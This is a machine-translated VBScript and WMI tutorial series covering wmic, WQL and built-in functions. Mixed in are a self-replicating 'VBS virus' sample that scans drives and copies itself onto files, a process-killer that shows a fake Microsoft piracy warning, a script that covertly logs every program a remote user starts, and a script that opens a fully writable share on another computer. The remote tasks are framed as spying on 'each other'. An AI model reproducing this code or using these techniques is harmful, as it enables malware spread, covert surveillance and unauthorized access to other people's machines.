You can also use wildcard *, for example: select * from Win32_ share

The keyword where is used to limit the scope of the query.

For example: select * from Win32_ share where name=”Admin”

5、 Three steps used in WMI scripts

Step 1: connect to WMI service

In any WMI script, the first step is to establish a connection to the windows management service on the target computer. The method is to call the GetObject function of VBScript, pass the name of the name object of WMI Script Library (i.e. “winmgmts:”, followed by the name of the target computer) to GetObject, and return a reference to the object. At this time, you can call the method provided by it, such as instancesof, as shown in the method name, Instancesof returns all instances of a managed resource identified by the resource’s class name.

Step 2: retrieve instances of WMI managed resources

WQL is generally used.

Step 3: display the properties of WMI managed resources

The last step is to enumerate and retrieve the contents of the collection. Generally used

For each enum in  myclass

……

Next} structure.

6、 WMI tester (wbemtest. Exe) verifies the script execution results

Now that you have some knowledge of the tools that can be used to browse and view CIM, let’s use the WMI tester (wbemtest. Exe) to check Win32_ The process class is defined to retrieve properties from processes running on your local computer.

1. Open a command prompt and type C: \ > wbemtest Exe, press enter to start the WMI tester tool. Note that most buttons are disabled on the main WMI tester window, indicating that you are not connected to WMI at this time.

2. Click the connect button to connect to the WMI service on the local or remote computer. Displays the connect dialog box, which provides a text entry area labeled namespace, which defaults to root \ default. Change the value of the namespace area to root \ cimv2 and click the connect button in the connect dialog box to return to the main WMI tester window.

3. The namespace identifier in the upper left corner of the main window should be displayed as root \ cimv2. Note that all buttons are now enabled, which indicates that you have successfully connected to WMI on the local host under the current credential environment. Click the enumeration category to open the superclass Information dialog box.

4. In the super class information dialog box, do not fill in the enter super class name area, click the recursion option, and click OK to enumerate all CIM classes defined in the root \ cimv2 namespace.

Notice that the classes listed at the top of the query results dialog box begin with two underscores. These are system classes. System class is a predefined CIM class that supports internal WMI configuration and operations, such as provider registration, namespace security, event notification, etc. Now, ignore the system class and scroll down the query results dialog box until you see CIM_ Class starting with. Name in CIM_ The first class is the core and common base class maintained by dmtf. Continue scrolling down until you reach Win32_ Class starting with. Name in Win32_ The first class is a Microsoft extension class that represents windows specific managed resources. If this is the first time you have checked the root \ cimv2 namespace, you may want to be familiar with the complete collection of classes in the root \ cimv2 namespace, especially with Win32_ Prefix class.

5. Scroll down the query results dialog box until you reach Win32_ Process class, double-click the class name to open Win32_ Object editor for the process dialog box.

6. The object editor dialog box displays the definition and implementation details (properties and methods) of the selected class. Select the hide system properties check box to hide system properties. Remaining Win32_ The process property represents information that you can retrieve from a process running on a local or remote computer.

Run the following code:

?
1
2
3
4
5
6
7
8
strComputer = "."
Set wbemServices = Getobject("winmgmts:\\" & strComputer)
Set wbemObjectSet = wbemServices.InstancesOf("Win32_Process")
For Each wbemObject In wbemObjectSet
 WScript.Echo "Name:  " & wbemObject.Name & vbCrLf & _
   " Handle: " & wbemObject.Handle & vbCrLf & _
   " Process ID: " & wbemObject.ProcessID
Next

7. After running the script, you can verify the results of the script with the WIMI tester. In Win32_ In the object editor of the process dialog box, click instances. The resulting query results dialog box lists instances of processes running on the computer. Double click a specified process instance to view the details of the instance.

Concise tutorial of vbs script programming 13-2

WMI foundation 2 – prevent guests from running programs you don’t want to run

Many people have such experience. The newly installed system makes people run some programs you don’t want him to run, such as QQ, chat and downloadexpressionHowever, after a while, rogue plug-ins, viruses and Trojans have entrenched your computer. They often reluctantly uninstall this program, but people who do not know it consciously download and install it, so that the whole system can not run normally.

In fact, it’s too easy to use VBS and WMI to install the corresponding program on your computer, and others can’t run it. Now give the code:

?
1
2
3
4
5
6
7
8
9
10
11
12
On Error Resume Next 'ignore all errors
Dim bag,pipe,honker,good
Do
good="." 'defined as local computer
set bag=getobject("winmgmts:\\"& good &"\root\cimv2") 'l connect to cimv2 namespace
set pipe=bag.execquery("select * from win32_process where name='qq.exe' or name='qqgame.exe' or name='winmine.exe'")'look, this is a program that is not allowed to run on my computer. QQ, qqgame and winmine (mine sweeping) if you have other programs that are not allowed to run, it is very simple to add or name =' the name of the program you are not allowed to run '
for each i in pipe
i.terminate()
msgbox "The pirated system has been found, and the function has been limited!" & vbcrlf & "Please use genuine software!",,"Microsoft tips" "This trip is actually optional. This trip is just to avoid doubt
next
wscript.sleep 60000 "Every 1 minute
loop

So what should I do if I want to run these programs? It’s very simple. Press Ctrl + Alt + Del to open the Windows Task Manager and end Wscript in the process Exe and wmiprvse Just run the EXE process

Concise tutorial of vbs script programming

Using a dictionary object

There is a special object in VBS – dictionary, which is a collection object. In general, I think of this special set as an array. I can use the built-in functions to complete basic tasks such as storing and manipulating data. I don’t need to worry about the rows and columns of data. Instead, I use a unique key to access or a database that can only run in memory. There are only two fields: key and item, which are in use, The key field is an index field.

?
1
2
3
4
5
6
7
8
set sdict=CreateObject("Scripting.Dictionary")
sdict.add "a","apple"
sdict.add "b","banana"
sdict.add "c","copy"
for each key in sdict.keys
msgbox "Key name" & key & "Yes" & " = " & sdict (key)
next
sdict.removeall

The script is very simple. It defines an instance sdict of a dictionary object, adds three pieces of data, enumerates each piece of data, and finally empties the instance of the object.

Summary of the members of the dictionary object

Properties and descriptions

Comparemode sets or returns the string comparison mode of the key
Count read only. Returns the number of key / entry pairs in the dictionary
Item (key) sets or returns the item value of the specified key
Key (key) set key value

Method and description

Add (key, item) adds key / item pairs to the dictionary
Exists (key) returns true if the specified key exists; otherwise, returns false
Items() returns an array containing all the entries in the dictionary object
Keys () returns an array containing all the keys in the dictionary object
Remove (key) deletes a specified key / entry pair
Removeall() deletes all key / entry pairs
Concise tutorial of vbs script programming part 15-1
One of VBS built-in functions
ABS function: returns the absolute value of the number.
Array function: returns a variant containing an array.
ASC function: returns the ANSI character code of the first letter of a string.
ATN function: returns the arctangent of a numeric value.
CBool function: returns an expression that has been converted to a variant of Boolean subtype.
Cbyte function: returns an expression that has been converted to a variant of a node subtype.
Ccur function: returns an expression that has been converted to a variant of the currency subtype.
CDate function: returns an expression that has been converted to a variant of the date subtype.
Cdbl function: returns an expression that has been converted to a variant of a double subtype.
Chr function: returns characters related to the specified ANSI character code.
Cint function: returns an expression that has been converted to a variant of an integer subtype.
CLng function; Returns an expression that has been converted to a variant of the long subtype.
Cos function: returns the cosine of the angle.
CreateObject function: creates and returns a reference to an automatic object.
CSng function: returns an expression that has been converted to a variant of a single precision subtype.
CSTR function: returns an expression that has been converted to a variant of a string subtype.
Date function: returns the current system date.
DateAdd function: the date returned has been added with the specified time interval.
DateDiff function: returns the interval between two dates.
Datepart function: returns the specified part of a given date.
Dateserial function: returns a variant of the date subtype of the specified month, year and day.
DateValue function: returns a variant of the date subtype.
Day function: returns the date. The value range is 1 to 31.
Eval function: evaluates an expression and returns a result.
Exp function: returns the power of E (the base of natural logarithm).
Filter function: returns an array containing a subset of string arrays with a lower bound of 0 according to the specified filter criteria.
Fix function: returns the integer part of the number.
Formatcurrency function: the returned expression is in currency value format, and its currency symbol is defined in the system control panel.
Formatdatetime function: the returned expression is in date and time format.
Formatnumber function: the returned expression is in numeric format.
Formatpercent function: the returned expression is in the format of percentage (multiplied by 100), followed by the% symbol.
GetObject function: returns a reference to an automatic object from a file.
GetRef function: returns a reference to a procedure that can be bound to an event.
Hex function: returns a string representing the hexadecimal value of a number.
Hour function: returns a number representing the hour. The value range is 0 to 23.
InputBox function: an explicit prompt in the dialog box, wait for the user to enter text or click the button, and return to the content of the text box.
Instr function: returns the first occurrence of a string in another string.
InStrRev function; Returns the position of one string in another string, but counting from the end of the string.
VBS built-in function 2
Int function: returns the integer part of a number.
Isarray function: returns a Boolean value, reflecting whether the variable is an array.
IsDate function: returns a Boolean value that reflects whether an expression can be converted to a date.
Isempty function: returns a Boolean value that reflects whether the variable has been initialized.
Isnull function: returns a Boolean value, reflecting whether the expression contains invalid data (null).
IsNumeric function: returns a Boolean value that reflects whether an expression can be converted to a number.
Isobject function: returns a Boolean value, reflecting whether the expression references a valid “automatic” object.
Join function: returns a string created by concatenating many substrings containing an array.
Lbound function; Returns the least significant subscript of the specified dimension array.
Lcase function: the returned string has been converted to lowercase.
Left function: returns the specified number of characters to the left of the string.
Len function: returns the number of characters in the string or the number of bytes required to store the variable.
Loadpicture function: ReturnpictureObject. For 32-bit platforms only.
Log function: returns the natural logarithm of a number.
Ltrim function; Returns a string without leading spaces.
Mid function: returns a specified number of characters from a string.
Minute function: returns the number of minutes. The value range is 0 to 59.
Month function: returns the number of months. The value range is 1 to 12.
MonthName function: returns a string representing the month.
Msgbox function: displays a message in the dialog box, waits for the user to click the button, and returns the value representing the button clicked by the user.
Now function: returns the current system date and time of the computer.
OCT function: returns a string representing the octal value of the number.
Replace function: returns a string in which the specified substring has been replaced by another substring a specified number of times.
RGB function: returns a number representing the RGB color value.
Right function: returns the specified number of characters to the right of the string.
Rnd function: returns a random number.
Round function: returns the number of specified digits rounded.
Rtrim function: returns a copy of a string without trailing spaces.
Scriptengine function: returns a string that reflects the scripting language in use.
Scriptenginebuildversion function: returns the compiled version number of the script engine in use.
ScriptEngineMajorVersion function: returns the major version number of the script engine in use.
ScriptEngineMinorVersion function: returns the minor version number of the script engine in use.
Second function: returns the number of seconds, ranging from 0 to 59.
VBS built-in function 3
SGN function: returns an integer that reflects the sign of a number.
Sin function: returns the sine of the angle.
Space function: returns a string consisting of a specified number of spaces.
Split function: returns a one-dimensional array consisting of a specified number of substrings with a lower bound of 0.
SQR function: returns the square root of a number.
Strcomp function: returns a numeric value that reflects the result of string comparison.
String function: returns a duplicate string of a specified length.
Strreverse function: returns a string in which the order of characters is opposite to that in the specified string.
Tan function: returns the tangent of the angle.
Time function: returns the “variant” of the “date” subtype representing the current system time.
Timer function: returns the number of seconds after midnight 12:00 am.
Timeserial function: returns a variant of the date subtype containing the specified hour, minute and second time.
TimeValue function: returns a variant of the date subtype containing the time.
Trim function: returns a copy of a string without leading or trailing spaces.
Typename function: returns a string that provides variant subtype information about the variable.
UBound function: returns the maximum valid subscript of the specified dimension array.
Ucase function: the returned string has been converted to uppercase letters.
Vartype function: returns a value identifying the subtype of the variant.
Weekday function: returns a numeric value representing the day of the week.
WeekdayName function: returns a string representing the day of the week.
Year function: returns a numeric value representing the year.
VBS virus simple example source code analysis

Note: the author has modified some codes. This file is a complete program. After the file is executed, it will find all qualified files on the hard disk, forcibly overwrite them (all qualified file data will be lost), and create another file with the same file name VBS file. Therefore, please pay attention to setting up damage test conditions and never test others, otherwise you will bear all the consequences.

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
dim folder,fso,foldername,f,d,dc
set fso=createobject("scripting.filesystemobject")
set self=fso.opentextfile(wscript.scriptfullname,1)
vbscopy=self.readall 'read the virus body for copying to the file
self.close
set dc=fso.Drives
for each d in dc
if d.drivetype=3 or d.drivetype=2 then 'check disk type
wscript.echo d 'pop up window showing the drive letter found
scan(d)
end if
next
lsfile=wscript.scriptfullname 'the script path
set lsfile=fso.getfile(lsfile)
lsfile.delete(true) 'the virus deletes itself after running (I add it myself, and the love bug virus itself does not have the code)
sub scan(folder_)
on error resume next
set folder_=fso.getfolder(folder_)
set files=folder_.files
for each file in files
ext=fso.GetExtensionName(file) 'get file suffix
ext=lcase(ext) 'convert suffix to lowercase
if ext="mp5" then 'if the suffix is MP5, of course, there is no such file. You can modify it here, but pay attention. Please create your own files with corresponding suffixes, preferably abnormal suffixes
set ap=fso.opentextfile(file.path,2,true)
' ap. Write vbcopy 'overwrite file, use with caution
ap.close
set cop=fso.getfile(file.path)
cop.copy(file.path & ".vbs") 'create another virus file
' file. Delete (true) 'delete the original file
end if
next
set subfolders=folder_.subfolders
for each subfolder in subfolders 'search other directories
scan(subfolder)
next
end sub

Vbs script programming concise tutorial supplement – a first glimpse of WMI

Today, I will introduce a friend to you, which is Microsoft Windows Management Instrumentation (WMI). The Chinese name is windows management specification. Since Windows 2000, WMI (Windows Management specification) has been built into the operating system and has become an important part of windows system management. So it’s easy to see it, because we should at least be a user of Windows 2000. Now I will introduce every detail of it in detail, so that you never know it to like it.

What can WMI do?

WMI can not only obtain the desired computer data, but also be used for remote control. Remote control computer is something everyone likes. The common practice of many remote monitoring and control software is to run the server-side background program on the remote computer and a client-side control program on the local computer, and realize the remote control of the computer through the collusion of the two programs. The disadvantage of this method is very obvious. When the server program is closed, this remote monitoring cannot be realized because there is no internal line. The remote monitoring and control realized by WMI does not need to install anything else on the server. The system opens the WMI service by default. Specifically, the capabilities of WMI are as follows:

1. Obtain hardware and software information of local and remote computers.
2. Monitor the running status of software and services of local and remote computers.
3. Control the software and service operation of local and remote computers.
4. Advanced applications.

How do I access WMI?

When we know some of WMI’s abilities, we already want to know how to know him and use him. There are many ways to use WMI. In short, there are three ways:

1. Realize common query and operation through various tools provided by Microsoft. It mainly includes wmic under the command prompt and WMI tool provided by Microsoft. You can download it for free on Microsoft’s website. Of course, I can also provide it for you for free.

2. Write your own script to achieve more flexible operation. To be truly flexible and practical, familiarity with WSH scripts is necessary. Of course, it doesn’t matter if you’re not familiar with it. I’ll explain it in detail later.

3. Access and operate it by writing our own program. Any language will do. If used Net class program should be simpler. If you use VC, it should be more complex. At least I think so.

4. Another way to visit it is to go to one of its nests. Everything in the C: \ windows \ system32 \ WBEM directory is closely related to it. There are logs and various tools, in which you can find many answers. However, these things are generally not suitable for our novices. It feels a little scary.

Our mission today?

Today we have five tasks:

Task 1: use wmic to list all processes on the remote computer.
Task 2: use wmic to close the local process.
Task 3: save the process information of the remote host in a web page through wmic
Task 4: use scripts to monitor each other’s processes in real time
Task 5: use scripts to open and share with each other

Check and monitor the process, kill the process, and finally open a share for each other. Our friend has done all the bad things. Understand our mission, we can go on the road. This time we will mainly use wmic and script to realize our task, so we will mainly explain it in two parts. In the actual combat of the five tasks, we will understand it more deeply. There is no foundation. It doesn’t matter. I will try my best to explain all the so-called foundations so that everyone can communicate with this friend easily.

Part I: using wmic to understand WMI

Wmic is the abbreviation of Windows Management Instrumentation commandline. Wmic extends WMI and provides support for executing system management from command line interface and batch command script. Provides a powerful and friendly command line interface for WMI namespaces. With wmic, WMI is very approachable.

Executing the wmic command starts the wmic command line environment. When the wmic command is executed for the first time, windows first installs wmic, and then displays the command line prompt of wmic. At the wmic command line prompt, commands are executed interactively. If you don’t know how to interact with it, please type “/?”, After reading all the instructions carefully, you will know. Wmic can also operate in non interactive mode. Non interactive mode is useful if you want to perform a single step task or run a series of wmic commands in a batch command. To use non interactive mode, just start wmic on the same command line and enter the command to execute.

1. Task 1: use wmic to list all processes on the remote computer

This is a very simple task to implement. It is as simple as using a DOS command. Because we have to step by step, we have arranged such a warm-up task. Type the following command at the command prompt, and we’ll see.

WMIC /node:192.168.1.2 /user:net process

Commentary:

1) Node and user in the above command are global switches. If you don’t want to enter the password again, you can also use the password switch and write the password after it (wmic / node: 192.168.1.2 / user: Net / password: password process). Be sure to note that the user name and password here must be administrator level, and others are invalid. Wmic provides a large number of global switches, aliases, verbs, commands and rich command line to help enhance the user interface. The global switch is an option to configure the entire wmic session.

2) Process is an alias that executes a Win32_ WQL query of process class. As for what WMI class is, if you are interested, find out more information by yourself. If you are lazy, wait until I have time to explain to you. Aliases are an intermediate layer of simplified syntax for user and WMI namespaces. When you specify an alias, the verb (verb) indicates the action to be performed.

3) If you like, you can add a verb after the, such as list full (such as wmic / node: 192.168.1.2 / user: Net / password: password process), so that you can see more clearly.

Tip: a machine with wmic installed can be connected to any machine with WMI installed. The connected machine does not need to install wmic.

2. Task 2: use wmic to close the local process

Executing the following command will close the running QQ. I am timid, so I dare not close other people’s QQ. I can only test my QQ. If your IQ is enough and you are brave, you will close other people’s QQ soon.

WMIC

process where name=”qq.exe” call terminate

Commentary:

1) This time we use the interactive method to perform the task. I won’t say more about the specific interface. The picture is much better than what I said.

2) Call is also a verb, but this verb is powerful. No control class does not use it. It is a general who can call various methods of various classes. Here we call the terminate method. You can see it’s vicious literally.

3) Where allows you to query and filter. Find what you want in super many instances. Instance refers to the concrete implementation of each class. Each process seen in the previous example is Win32_ An instance in process.

3. Task 3: save the process information of the remote host in a web page through wmic

This task is roughly the same as that in task 1, which is the strengthening of task 1. In task 1, the information is displayed in the form of text. In fact, in addition to text output, wmic can also return command execution results in other forms, such as XML, HTML or CSV (comma separated text file), as shown in Figure 3. We can type the following command:

wmic /output:C:\1.html /node:192.168.1.2 /user:net process list full /format:hform.xsl

Enter password:******

Explanation:

1) The global switch output indicates where to save this information.

2) The global switch format indicates what format to use. As for which formats can be used, you can refer to *. In the C: \ windows \ system32 \ WBEM directory XSL files, you don’t even care where they come from, just use them. Look next to each other and you’ll find what you like.

Part II: using scripts to understand WMI

The command prompt tool is really easy to use, but it doesn’t show that we are experts. Experts can use programs to achieve their goals. Now we will start to use the foot book to realize our tasks, which will be more powerful and more flexible.

Whether a script or a real program, to retrieve WMI managed resource information and then query and utilize WMI, you need to follow the following three steps.

1. Connect to WMI service. Establish a connection to the windows management service on the target computer.
2. Retrieve instances of WMI managed resources. It mainly depends on the task to be performed.
3. Display an instance property of WMI and call its method.

1. Task 4: monitor each other’s processes in real time by using scripts

In task 1 and task 3, we are looking at each other’s progress. The results are not of great significance to us. In this task, we should notice every time he starts a task from now on and record it. We should start reporting and recording at the second when he starts the process. We should know the location of the program he opened, and we should know this information better than him.

Now we will implement the task according to the three steps mentioned above.

First, we connect to each other’s WMI. Here, we first call CreateObject () in VBScript to get an object, and then use this special object method to connect to the remote computer. This special object is wbemscripting swbemlocator。

set olct=createobject(“wbemscripting.swbemlocator”)
set wbemServices=olct.connectserver(strComputer,”root\cimv2″,strUser,strPwd)

Note that strcomputer is the name or IP address of the computer you want to connect to. Of course, struser and strpwd are the user name and password. We said that this user must have administrator privileges. Root \ cimv2 is the namespace of WMI. You can see the WMI namespace in “computer management \ WMI control”. The knowledge in it is great and needs to be pondered slowly. I won’t explain it much for the sake of the rapid realization of our tasks. Connect to WMI in this way and return a reference to swbemservices object. Once there is a reference to swbemservices object. We can proceed to the second step.

In the second step, we will get the instance of WMI managed resources. We can query the class we want by using a method execnotificationquery in wbemservices, and then get the instance in this class.

Set colMonitoredProcesses = wbemServices. _
ExecNotificationQuery(“select * from __instancecreationevent ” _
& ” within 1 where TargetInstance isa ‘Win32_Process'”)

Note that there is a query language similar to SQL language, which is called WQL language. Those who understand SQL can understand it at a glance. Those who do not understand it can find its information on the Internet. It is everywhere. The resulting colmonitoredprocesses is a collection of instances of the queried class. With these, our third step can begin.

In the third step, we will show the properties in the resulting instance. What we got just now is the collection of instances. Here, we use colmonitoredprocesses Nextevent to get each specific instance. After getting each specific instance, we can display their properties, that is, what we want to see. Here we show the property value of commandline.

Up to now, are you confused, because you still don’t know what classes are in WMI and what properties the specific classes have. Hehe, it doesn’t matter. You can easily get this information with some tools. For example, the wbemtest provided by the system can be seen by typing in the program name during operation. It also follows the three steps of connection, query and enumeration. Take your time. You will soon find that WMI is too large. There are more than 10 namespaces alone. Then, there are nearly 1000 classes in our commonly used space root \ cimv2. Each class has many properties and some classes have many methods. Ha ha, dizzy? It doesn’t matter. In fact, you just need to know some of them.

It’s estimated that your head is very big, but congratulations. Our task has been completed. Yes, it’s so simple. I’ll dedicate the complete code below.

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Set colArgs = WScript.Arguments
If WScript.arguments.count < 3 then
WScript.Echo "USAGE:" & vbCrLf & " Monitor Computer User Password files"
WScript.quit
End If
strComputer = wscript.arguments(0)
strUser = wscript.arguments(1)
strPwd = wscript.arguments(2)
strFile = wscript.arguments(3)
set olct=createobject("wbemscripting.swbemlocator")
set wbemServices=olct.connectserver(strComputer,"root\cimv2",strUser,strPwd)
Set colMonitoredProcesses = wbemServices. _
ExecNotificationQuery("select * from __instancecreationevent " _
& " within 1 where TargetInstance isa 'Win32_Process'")
i = 0
Do While i = 0
Set objLatestProcess = colMonitoredProcesses.NextEvent
Wscript.Echo now & " " & objLatestProcess.TargetInstance.CommandLine
Set objFS = CreateObject("Scripting.FileSystemObject")
Set objNewFile = objFS.OpenTextFile(strFile,8,true)
objNewFile.WriteLine Now() & " " & objLatestProcess.TargetInstance.CommandLine
objNewFile.Close
Loop

To the core of this program? I believe you have understood a lot of them. I will explain the rest of the code later. Let’s have a perceptual understanding first and see how it should be used first! Copy the above code into Notepad and save it as monitor VBS file, and then enter at the command prompt:

CSCRIPT monitor.vbs

Press enter and you will see the help. The following is an example of the specific usage of this script:

CSCRIPT monitor.vbs 192.168.1.2 user password C:\1.txt

It’s OK to type in the above command at the command prompt. Whenever the other party opens a program, you can see the time, program path and program name. If you don’t have time to read this information, you can wait until you have time to C: \ 1 Txt see this information.

Tips:

Every time you use a script, you must type in the suffix of cscript and script, which is very troublesome. This is because the default execution engine of the system is Wscript, which can be changed to cscript. Another annoying thing is that Microsoft’s instructions are always displayed after the script is executed, as if we didn’t write the script. However, you can solve this problem by typing the following command at the command prompt:

cscript //nologo //h:cscript //s

In this way, when you run these scripts in the future, you don’t have to type cscript or write For the example above, you can use the following:

monitor 192.168.1.2 user password C:\1.txt

Explanation:

1) The first few lines are probably to display help and handle the parameters we enter later. Applied to Wscript Arguments is the object by which we can get and process the parameters of the script.

2) That dead cycle is to let us monitor him (her) all the time. Whenever he opens a program, we get a new instance, and we can know more information about him. Ha ha, it’s cruel enough. In this way, you will know that after our script runs, the monitoring can be interrupted only through our artificial suspension. The artificial suspension method can be completed by Ctrl + C or by various barbaric methods.

3) Another core object in the code is filesystembobject, which should be your old friend. I won’t explain it here. We apply it here mainly to save the results to a file at the same time. We use it to create or open a file and add information.

4) As for the now, although the volume is very small, it is it that provides us with the important information of time.

5) If you want to monitor your own computer rather than a remote computer (as far as I know, this application is still very wide). Then please write the parameter of the computer name as a small dot, and leave the user name and password blank. As follows:

monitor . “” “” C:\1.txt

2. Task 5: use scripts to open and share with each other

With the foundation of task 4, let’s look at the code first this time:

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Set colArgs = WScript.Arguments
If WScript.arguments.count < 5 then
WScript.Echo "USAGE:" & vbCrLf & " Rshare Computer User Password SharePath ShareName"
WScript.quit
End If
strComputer = wscript.arguments(0)
strUser = wscript.arguments(1)
strPwd = wscript.arguments(2)
strPath = wscript.arguments(3)
strShareName = wscript.arguments(4)
intMaximumAllowed = 1
strDescription = "Temporary share"
Const SHARED_FOLDER = 0
set olct=createobject("wbemscripting.swbemlocator")
set wbemServices=olct.connectserver(strComputer,"root\cimv2",strUser,strPwd)
Set objSWbemObject = wbemServices.Get("Win32_Share")
intReturnvalue = objSWbemObject.Create(strPath, _
strShareName, _
SHARED_FOLDER, _
intMaximumAllowed, _
strDescription)
if(intReturnvalue = 0) Then
WScript.Echo "The share have been created successfully"
End If

Commentary:

1) We can see that the first few lines exist for displaying help and processing input parameters.

2) Then several variables are set for future parameters. Here we can ignore it first.

3) Connect to the WMI of the host, and then query. I’ve already said it in detail.

4) After obtaining the instance set this time, we use one of its methods, that is, this method makes sharing possible. In connection with the contents of the second part, it is not difficult for us to know that the first parameter represents the path and file name to be shared, the second parameter represents the share name, the third parameter is 0, and the fourth parameter refers to the number of people who can be connected, The fifth parameter is shared description, and we only care about the first two parameters. If you have MSDN on hand, it’s easy to do. You can find more details of this method in MSDN.

5) This time, we will get whether the sharing is successful according to the return value in step 4, and give a prompt. Different return values represent different meanings. This information can be clearly found in MSDN. For example, 0 represents successful return, 2 represents denial of access, 9 represents wrong user name, 25 represents that the host name is not found, and so on.

6) This time, we should note that this script is used to realize remote file sharing. It is required that the file exists remotely, otherwise it cannot be shared. Of course, you can also use the textbook to create your own folder. It’s easy to create it yourself.

7) The share created by the above script is fully shared. You can delete and modify files.

8) Usage example: share netp net SW C: \ dodo marsh

Well, so far, you should know something about this friend. My introduction task has come to an end. If you want to know it further, it mainly depends on your initiative. This time we mainly know it through wmic and script. Next time I will lead you to know it through real program code and make it as beautiful as windows. The estimate I mentioned today is only one tenth of WMI, not the tip of the iceberg. The rest is up to you. If you are willing to use what you have learned, miracles will happen.

Of course, if you want to learn VBS well, you should check some materials:

Here are two addresses that introduce basic functions. Then you can look at other people’s code, practice and write more.